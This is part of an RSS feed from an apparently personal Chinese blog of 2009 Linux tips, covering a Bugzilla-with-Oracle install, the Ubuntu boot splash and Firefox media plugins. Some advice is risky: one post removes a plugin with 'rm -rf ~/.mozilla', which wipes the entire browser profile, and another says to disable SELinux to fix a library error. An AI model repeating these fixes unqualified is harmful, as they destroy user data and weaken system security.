下载Bugzilla3.2, http://ftp.mozilla.org/pub/mozilla.org/webtools/bugzilla-3.2.tar.gz<br />
cd /var/www/html/<br />
wget [url=http://ftp.mozilla.org/pub/mozilla.org/webtools/bugzilla-3.2.tar.gz]http://ftp.mozilla.org/pub/mozilla.org/webtools/bugzilla-3.2.tar.gz<br />
tar zxvf bugzilla-3.2.tar.gz<br />
mv bugzilla-3.2 bugzilla </p>
<p>=== checksetup.pl ===<br />
接下来执行checksetup.pl<br />
cd bugzilla<br />
./checksetup.pl </p>
<p>根据提示安装必须的perl模块, 在此之前你需要安装perl-CPAN<br />
yum install perl-CPAN<br />
Linux下面安装Bugzilla所需的perl模块，最简单的方式是利用Bugzilla提供的install-module.pl工具, 执行:<br />
/usr/bin/perl install-module.pl &#8211;all<br />
遇到所有提示，默认即可 </p>
<p>安装DBD::Oracle </p>
<p>export ORACLE_HOME=&#8221;/usr/lib/oracle/xe/app/oracle/product/10.2.0/server&#8221;<br />
export LD_LIBRARY_PATH=&#8221;/usr/lib/oracle/xe/app/oracle/product/10.2.0/server/lib&#8221;<br />
/usr/bin/perl install-module.pl DBD::Oracle </p>
<p>&#8221;说明: 如果Oracle数据库是在远程，则安装Bugzilla的机器上面必须安装[url=http://www.oracle.com/technology/software/tech/oci/instantclient/index.html]Oracle Instant Client或者Oracle Client，然后设置相应的ORACLE_HOME和LD_LIBRARY_PATH&#8221; </p>
<p>再次执行checksetup.pl, 产生localconfig文件:<br />
./checksetup.pl </p>
<p>编辑localconfig文件: </p>
<p>$db_driver = &#8216;oracle&#8217;;<br />
$db_host = &#8217;10.182.120.189&#8242;;              <-- 数据库IP<br />
$db_name = 'XE';                            <-- 数据库实例名SID<br />
$db_user = 'bugs';                        <-- 数据库用户名<br />
$db_pass = 'bugs'                         <-- 数据库密码 </p>
<p>配置完localconfig之后，再次运行checksetup.pl: </p>
<p>./checksetup.pl<br />
填入管理员信息: </p>
<p>Enter the e-mail address of the administrator: [email=admin@kk.com]admin@kk.com[/email]<br />
Enter the real name of the administrator: Admin<br />
Enter a password for the administrator account:<br />
Please retype the password to verify: </p>
<p>=== 配置Apache ===<br />
配置/etc/httpd/conf.d/bugzilla.conf, 加入 </p>
<p><Directory /var/www/html/bugzilla><br />
    AddHandler cgi-script .cgi<br />
    Options +Indexes +ExecCGI<br />
    DirectoryIndex index.cgi<br />
    AllowOverride Limit<br />
</Directory> </p>
<p>重新启动Apache<br />
service httpd restart </p>
<p>用管理员登陆 http://yourip/bugzilla/, 然后配置 urlbase </p>
<p>安装完成! </p>
<p>&#8221;说明：如果遇到类似下面的问题, 请关闭系统的selinux，然后重启系统：&#8221;<br />
&#8216;oracle&#8217; is not a valid choice for $db_driver in  localconfig: Can&#8217;t load &#8216;lib/i386-linux-thread-<br />
  multi/auto/DBD/Oracle/Oracle.so&#8217; for module DBD::Oracle:<br />
libclntsh.so.10.1: cannot enable executable stack as shared object requires: Permission denied at<br />
  /usr/lib/perl5/5.10.0/i386-linux-thread-<br />
multi/DynaLoader.pm line 203.<br />
at Bugzilla/DB/Oracle.pm line 41<br />
Compilation failed in require at Bugzilla/DB/Oracle.pm line 41.<br />
BEGIN failed&#8211;compilation aborted at Bugzilla/DB/Oracle.pm line 41.<br />
Compilation failed in require at (eval 30) line 3.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/809.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何改变Ubuntu8.10的启动画面</title>
		<link>http://www.evanjiang.net.cn/archives/807.html</link>
		<comments>http://www.evanjiang.net.cn/archives/807.html#comments</comments>
		<pubDate>Fri, 13 Mar 2009 18:59:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>
		<category><![CDATA[改变Ubuntu8.10的启动画面]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=807</guid>
		<description><![CDATA[<p>其实非常简单： </p>
<p>    sudo aptitude install splashy</p>
<p>    如果提示没有软件包，可以从官方网站下载。</p>
<p>    就是两个文件：</p>
<p>http://splashy.alioth.debian.org/ubuntu/splashy_0.3.8-2_i386.deb</p>
<p>http://splashy.alioth.debian.org/ubuntu/libsplashy1-dev_0.3.8-2_i386.deb</p>
<p>    然后sudo dpkg -i *.deb.</p>
<p>    修改menu.lst文件</p>
<p>    sudo gedit /boot/grub/menu.lst
    找到</p>
<p>    kernel /boot/vmlinuz-2.6.15-23-386 root=/dev/hdxx ro quiet splash
    这行，去掉splash，在后面添加vga=792</p>
<p>    *vga参考表

 [...]]]></description>
			<content:encoded><![CDATA[<p>其实非常简单： </p>
<p>    sudo aptitude install splashy</p>
<p>    如果提示没有软件包，可以从官方网站下载。</p>
<p>    就是两个文件：</p>
<p>http://splashy.alioth.debian.org/ubuntu/splashy_0.3.8-2_i386.deb</p>
<p>http://splashy.alioth.debian.org/ubuntu/libsplashy1-dev_0.3.8-2_i386.deb</p>
<p>    然后sudo dpkg -i *.deb.</p>
<p>    修改menu.lst文件</p>
<p>    sudo gedit /boot/grub/menu.lst<br />
    找到</p>
<p>    kernel /boot/vmlinuz-2.6.15-23-386 root=/dev/hdxx ro quiet splash<br />
    这行，去掉splash，在后面添加vga=792</p>
<p>    *vga参考表<br />
<span id="more-807"></span><br />
    depth—–640×480—-800×600—-1024×768—–1280×1024—–1600×1200<br />
    8bit————769————771————-773————–775—————–796<br />
    15bit———-784————787————-790————–793—————–797<br />
    16bit———-785————788————-791————–794—————–798<br />
    24bit———-786————789————-792————–795—————–799</p>
<p>    更多主题，可以从这里下载。</p>
<p>    配置文件在/etc/splashy/config.xml，一个例程：</p>
<p><splashy></p>
<progressbar>
        <!-- here are tags to set the bar... x is the x coordinate and<br />
        y is the y coordinate, width and height are for the progress bar.<br />
        Remember that x, y width and height are expressed in percentage --><br />
        <x>20</x><br />
        <y>90</y><br />
        <width>60</width><br />
        <height>2</height><br />
        <!-- here you can set the color of the progressbar...<br />
        set the amount of red, green, blue and alpha channel.<br />
        Remember that the max value is 255 and the minumun value is 0--><br />
        <red>207</red><br />
        <green>0</green><br />
        <blue>0</blue><br />
        <alpha>255</alpha>
    </progressbar>
    <background><br />
        <boot>/etc/splashy/themes/ubuntu/background.jpg</boot><br />
        <shutdown>/etc/splashy/themes/ubuntu/shutdown.jpg</shutdown><br />
        <errorimg>/etc/splashy/themes/ubuntu/error.jpg</errorimg><br />
    </background><br />
    <fifo>/etc/splashy/splashy.fifo</fifo></p>
<pid>/etc/splashy/splashy.pid</pid>
    <autoverboseonerror>yes</autoverboseonerror><br />
</splashy><br />
    特别提醒：此事需高级用户，后果自负。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/807.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ubuntu8.10 Firefox在线听歌的插件MediaWrap</title>
		<link>http://www.evanjiang.net.cn/archives/805.html</link>
		<comments>http://www.evanjiang.net.cn/archives/805.html#comments</comments>
		<pubDate>Fri, 13 Mar 2009 16:58:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>
		<category><![CDATA[Firefox 插件 MediaWrap]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=805</guid>
		<description><![CDATA[<p>MediaWrap  概述</p>
<p>mediawrap 是一个很小的 Firefox 扩展。它能够将 ActiveX 控件方式的网页内嵌媒体转换成 Firefox 能够支持的 Plugin 方式，从而使 Firefox 也能够象 IE 一样正常播放 Wmplayer、Rmplayer、QtPlayer 和 FlashPlayer 格式的媒体文件。当然，你的系统中首先要安装过相应的播放软件及解码器，比如，Windows Media Player 和 RealPlayer 等。
很多网站使用了 ActiveX 控件方式来播放网页内嵌媒体，但是Firefox 浏览器本身并不支持 ActiveX 控件。如果你经常在这样的网站观看视频或者听音乐，那么 mediawrap 扩展绝对是有用的。而且，mediawrap 不会给你带来任何安全问题。</p>
<p>适用于:	Firefox	1.5 &#8211; 3.0.*	</p>
<p>MediaWrap 是一个很小的 Firefox 扩展。它能够将 ActiveX 控件方式的网页内嵌媒体转换成 Firefox 能够支持的 Plugin 方式，从而使 Firefox 也能够象 IE 一样正常播放 Wmplayer、Rmplayer、QtPlayer 和 FlashPlayer 格式的媒体文件。当然，你的系统中首先要安装过相应的播放软件及解码器，比如，Windows Media Player 和 [...]]]></description>
			<content:encoded><![CDATA[<p>MediaWrap  概述</p>
<p>mediawrap 是一个很小的 Firefox 扩展。它能够将 ActiveX 控件方式的网页内嵌媒体转换成 Firefox 能够支持的 Plugin 方式，从而使 Firefox 也能够象 IE 一样正常播放 Wmplayer、Rmplayer、QtPlayer 和 FlashPlayer 格式的媒体文件。当然，你的系统中首先要安装过相应的播放软件及解码器，比如，Windows Media Player 和 RealPlayer 等。<br />
很多网站使用了 ActiveX 控件方式来播放网页内嵌媒体，但是Firefox 浏览器本身并不支持 ActiveX 控件。如果你经常在这样的网站观看视频或者听音乐，那么 mediawrap 扩展绝对是有用的。而且，mediawrap 不会给你带来任何安全问题。</p>
<p>适用于:	Firefox	1.5 &#8211; 3.0.*	</p>
<p>MediaWrap 是一个很小的 Firefox 扩展。它能够将 ActiveX 控件方式的网页内嵌媒体转换成 Firefox 能够支持的 Plugin 方式，从而使 Firefox 也能够象 IE 一样正常播放 Wmplayer、Rmplayer、QtPlayer 和 FlashPlayer 格式的媒体文件。当然，你的系统中首先要安装过相应的播放软件及解码器，比如，Windows Media Player 和 RealPlayer 等。<br />
很多网站使用了 ActiveX 控件方式来播放网页内嵌媒体，但是Firefox 浏览器本身并不支持 ActiveX 控件。如果你经常在这样的网站观看视频或者听音乐，那么 mediawrap 扩展绝对是有用的。而且，mediawrap 不会给你带来任何安全问题。</p>
<p>特别提示：由于提供在线播放的网站编码千差万别，所以，你不要指望 mediawrap 扩展能支持所有网站。对于一部分 IE only 的网站，它无能为力。如果你需要得到完美的支持，建议你还是用 IE 浏览器去做这些。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/805.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>借签以下这篇文章，终于解决UBUNTU8.10 FIREFOX在线听音乐的问题</title>
		<link>http://www.evanjiang.net.cn/archives/803.html</link>
		<comments>http://www.evanjiang.net.cn/archives/803.html#comments</comments>
		<pubDate>Fri, 13 Mar 2009 16:54:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>
		<category><![CDATA[ubuntu Firefox 在线听歌]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=803</guid>
		<description><![CDATA[<p>发现用totem不能播放在线的MP3文件的，就像在百度MP3 / sogou，因此我们把totem的firefox插件删除就可以 sudo apt-get remove totem-mozilla ，这样firefox就会用MPLAYER的播放
ps:的机器上totem挺正常，也能在线听音乐，不过我不喜欢它的控制界面，太丑，因此使用这里介绍的方法删除掉totem的插件。安装mplayer的方法在ubuntu wiki上面有。</p>
<p>以下是媒体设置</p>
<p>1、安装软件和相应解码器</p>
<p>sudo apt-get install mplayer mozilla-mplayer totem-xine libxine-extracodecs w32codecs audacious</p>
<p>安装后 audacious 能播放 ogg*, flac*, mp3, wma, wav, 3gp 这些格式。
安装后 mplayer 和 totem 能播放 xvid/divx 编码的 avi 格式视频, rm/rmvb/asf/wmv 等流媒体视频，外加 vcd/dvd 和其他 mpeg2/mpeg4 视频。</p>
<p>1) 如果要让 Rhythmbox 和 Banshee 这些使用 gstreamer 为后端的播放器，能播放 mp3, wma, ra, ram, wav 等格式音乐，就装上：
sudo apt-get install [...]]]></description>
			<content:encoded><![CDATA[<p>发现用totem不能播放在线的MP3文件的，就像在百度MP3 / sogou，因此我们把totem的firefox插件删除就可以 sudo apt-get remove totem-mozilla ，这样firefox就会用MPLAYER的播放<br />
ps:的机器上totem挺正常，也能在线听音乐，不过我不喜欢它的控制界面，太丑，因此使用这里介绍的方法删除掉totem的插件。安装mplayer的方法在ubuntu wiki上面有。</p>
<p>以下是媒体设置</p>
<p>1、安装软件和相应解码器</p>
<p>sudo apt-get install mplayer mozilla-mplayer totem-xine libxine-extracodecs w32codecs audacious</p>
<p>安装后 audacious 能播放 ogg*, flac*, mp3, wma, wav, 3gp 这些格式。<br />
安装后 mplayer 和 totem 能播放 xvid/divx 编码的 avi 格式视频, rm/rmvb/asf/wmv 等流媒体视频，外加 vcd/dvd 和其他 mpeg2/mpeg4 视频。</p>
<p>1) 如果要让 Rhythmbox 和 Banshee 这些使用 gstreamer 为后端的播放器，能播放 mp3, wma, ra, ram, wav 等格式音乐，就装上：<br />
sudo apt-get install gstreamer0.10-plugins-ugly gstreamer0.10-pitfdll gstreamer0.10-ffmpeg</p>
<p>2) 如果要让 audacious 播放 APE 格式的音乐：</p>
<p>sudo apt-get install audacious-mac<br />
<span id="more-803"></span><br />
3) 如果需要把 APE 转换为 FLAC：</p>
<p>sudo apt-get install mac flac cuetools shntool<br />
cuebreakpoints xx.cue |shnsplit -o flac -n xx xx.ape</p>
<p>2、Mplayer 的中文字幕设置方法</p>
<p>1) 在 Preferences-Font 里面点击 ”Browse” 选择一个中文字体，Encodeing 选择 Unicode。<br />
2) 在 Preferences-Subtitle&#038;OSD 里面的 Encoding 选择：<br />
Simplified Chinese Charset(cp936)<br />
3) 在 Preferences-Font “Text scale” 这里调整字幕大小(我调整为 3.8 )。</p>
<p>如果播放时提示错误，设置一下：</p>
<p>Preferences-Video 选择 “xv X11/Xv”<br />
Preferences-Codecs&#038;demuxer 选择 “FFmpeg/libavcodec audio decoders”</p>
<p>3、使用 Firefox 在线播放解决办法</p>
<p>1) 内嵌播放，可以安装 MediaWrap 这个扩展。<br />
2) 如果喜欢调用外部播放器播放，安装 MediaPlayerConnectivity 。</p>
<p>4、Totem 播放 rmvb 没有声音，这里给出了解决方法：<br />
编辑 ~/.xine/catalog.cache 文件：<br />
gedit ~/.xine/catalog.cache<br />
找到<br />
[/usr/lib/xine/plugins/1.1.4/xineplug_decode_real_audio.so]<br />
把 decoder_priority 后面的数字修改为 10</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/803.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于刪除firefox 恶意组件的方法</title>
		<link>http://www.evanjiang.net.cn/archives/801.html</link>
		<comments>http://www.evanjiang.net.cn/archives/801.html#comments</comments>
		<pubDate>Fri, 13 Mar 2009 16:29:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>
		<category><![CDATA[刪除 Firefox   恶意组件]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=801</guid>
		<description><![CDATA[<p>前段时间，为了解决在FIREFOX可以听一些在线DJ音乐的问题，俺在网上搜了搜，了解一个基于mplayer的组件好像可以解决俺的问题，谁知，不知是没有看清相关文档说明，还是什么原因，安装完那个插件后，不但没有解决在FIREFOX听DJ音乐的问题，以及每次打开FIREFOX都弹出那个在线音乐播放音件的设置向导，很烦。一心想将其解决掉。今晚比较心血来潮。再次打开FIREFOX。又见到那设置向导，就想着将他彻底解决，本来俺是想着将UBUNTU8.10的FIREFOX3一并毙掉。但在命令终端下刪除FIREFOX，提示是刪除掉。但是在GNOME面板里，还是有FIREFOX，打开FIREFOX ，那个可恶的mediaplayer插件的设置向导还是弹出来。很烦。于是，在GOOGLE搜到如下这条命令。一试一用。还真将那可恶的组件干掉！再打开FIREFOX，提示要导入OPERA的收藏文件。导入。就正常打开Firefox，就再也看不到那可恶的MEDIAPLAYER设置向导！</p>
<p>这个命令就是：
 rm -rf ~/.mozilla</p>
]]></description>
			<content:encoded><![CDATA[<p>前段时间，为了解决在FIREFOX可以听一些在线DJ音乐的问题，俺在网上搜了搜，了解一个基于mplayer的组件好像可以解决俺的问题，谁知，不知是没有看清相关文档说明，还是什么原因，安装完那个插件后，不但没有解决在FIREFOX听DJ音乐的问题，以及每次打开FIREFOX都弹出那个在线音乐播放音件的设置向导，很烦。一心想将其解决掉。今晚比较心血来潮。再次打开FIREFOX。又见到那设置向导，就想着将他彻底解决，本来俺是想着将UBUNTU8.10的FIREFOX3一并毙掉。但在命令终端下刪除FIREFOX，提示是刪除掉。但是在GNOME面板里，还是有FIREFOX，打开FIREFOX ，那个可恶的mediaplayer插件的设置向导还是弹出来。很烦。于是，在GOOGLE搜到如下这条命令。一试一用。还真将那可恶的组件干掉！再打开FIREFOX，提示要导入OPERA的收藏文件。导入。就正常打开Firefox，就再也看不到那可恶的MEDIAPLAYER设置向导！</p>
<p>这个命令就是：<br />
 rm -rf ~/.mozilla</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/801.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
